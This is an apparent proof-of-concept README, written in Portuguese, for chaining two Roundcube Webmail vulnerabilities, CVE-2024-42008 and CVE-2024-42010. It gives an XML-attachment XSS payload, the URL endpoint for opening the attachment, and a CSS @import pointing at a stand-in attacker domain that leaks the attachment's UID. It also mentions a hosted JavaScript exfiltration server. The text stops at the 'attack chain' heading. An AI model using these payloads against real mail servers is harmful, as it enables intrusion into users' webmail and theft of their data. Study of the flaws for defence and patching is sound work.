
POC para as vulnerabilidades do Roundcube CVE-2024-42008 e CVE-2024-42010
Esta prova de conceito (PoC) demonstra a exploração de duas vulnerabilidades no Roundcube Webmail que permitem injeção de CSS e scripting entre sites (XSS). O ataque consiste em duas etapas:
XSS por meio de anexo XML malicioso (CVE-2024-42008)
Devido a verificações insuficientes de upload de arquivos, um arquivo XML pode ser enviado como anexo com código JavaScript, por exemplo:
<something:script xmlns:something="<http://www.w3.org/1999/xhtml>">
alert(origin)
</something:script>
Esse era um problema conhecido e rastreado como CVE-2020-13965, e a mitigação era desabilitar a opção "Abrir anexo". Mas o arquivo ainda pode ser acessado pelo endpoint
https://roundcube.host.com/?_task=mail&_mbox=INBOX&_uid=[UID]&_part=2&_download=0&_action=get
Em que UID é o identificador exclusivo para esse anexo específico nessa caixa de correio específica (ou seja, INBOX).

Exfiltração de HTML por meio de injeção de CSS (CVE-2024-42010)
Ao enviar um e-mail, é possível injetar seu próprio arquivo CSS, quando hospedado em um domínio que começa com a. Por meio disso e de um arquivo de servidor JavaScript que processa as solicitações feitas pelo host Roundcube vulnerável, é possível extrair o UID do anexo XSS malicioso.
Importe o CSS em um e-mail enviado com
<style>
@import "//a.attackerdomain.com/start?"
</style>
Hospede o servidor JS (roundcube-css-exploit.js) que exfiltra o UID do anexo malicioso

Cadeia de Ataque